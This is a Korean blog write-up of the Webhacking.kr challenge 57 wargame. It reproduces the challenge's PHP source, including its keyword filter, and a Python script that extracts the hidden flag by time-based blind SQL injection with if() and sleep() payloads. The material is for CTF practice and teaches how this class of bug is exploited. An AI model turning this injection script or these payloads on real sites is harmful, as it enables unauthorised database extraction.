WriteUp/Webhacking.kr

challenge 57 (600pt)

vared 2020. 8. 15. 17:02

입력창이 존재한다.

 

소스코드를 주었으니 한번 보면 되겠다.

	<?php
	  include "../../config.php";
	  include "./flag.php";
	  if($_GET['view_source']) view_source();
	?><html>
	<head>
	<title>Challenge 57</title>
	</head>
	<body>
	<?php
	  $db = dbconnect();
	  if($_GET['msg'] && isset($_GET['se'])){
	    $_GET['msg'] = addslashes($_GET['msg']);
	    $_GET['se'] = addslashes($_GET['se']);
	    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
	    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
	    echo "Done<br><br>";
	    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
	  }
	?>
	<form method=get action=index.php>
	<table border=0>
	<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
	<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
	<tr><td colspan=2 align=center><input type=submit></td></tr>
	</table>
	</form>
	<br><br><a href=./?view_source=1>view-source</a>
	</body>
	</html>

앵간한건 필터링한다.

select and or not & \ benchmark

 

\ 이용해서 addslash 우회하고 싶었는데 안될 같다.

그래서 생각난게 time-based sql injection이다.

if문은 필터링이 아니기 때문에 sleep함수를 이용해서 거짓을 이용하면 된다.

if(length(pw)=24,sleep(3.0),1) 쿼리에 넣어준다면 sleep 실행된다.

length(pw)=24 것이다.

 

이제 문자를 하나하나 찾아주면 된다.

파이썬 코드를 이용해서 구해보자.

if(ascii(substr(pw,__,1))=__,sleep(2.0),1) 꼴로 찾아주면 되겠다.

import requests
import time

PHPSESSID="3q6n1taupr8300kioi6bnb72eq"
URL = "https://webhacking.kr/challenge/web-34/index.php?msg=1234&se="

"""
for i in range(0,100):
    pay=URL+"if(length(pw)="+str(i)+",sleep(2.0),1)"
    before=time.time()
    res=requests.post(url=URL+pay,cookies=dict(PHPSESSID=PHPSESSID))
    after=time.time()
    if(after-before >1.6):
        print("the length is : "+str(i))
        break
"""
pw=""
for i in range(1,25):
    print("working on "+str(i)+"th word...")
    for j in range(22,128):
        pay = "if(ascii(substr(pw,"+str(i)+",1))=" + str(j) + ",sleep(2.0),1)"
        before = time.time()
        res = requests.post(url=URL + pay, cookies=dict(PHPSESSID=PHPSESSID))
        after = time.time()
        if (after - before > 1.6):
            print("the "+str(i)+"th pw is : " + chr(j))
            pw +=chr(j)
            break
print("pw is : "+str(pw))

 

글자가 깨졌는데 그 부분은 0이다.

클리어!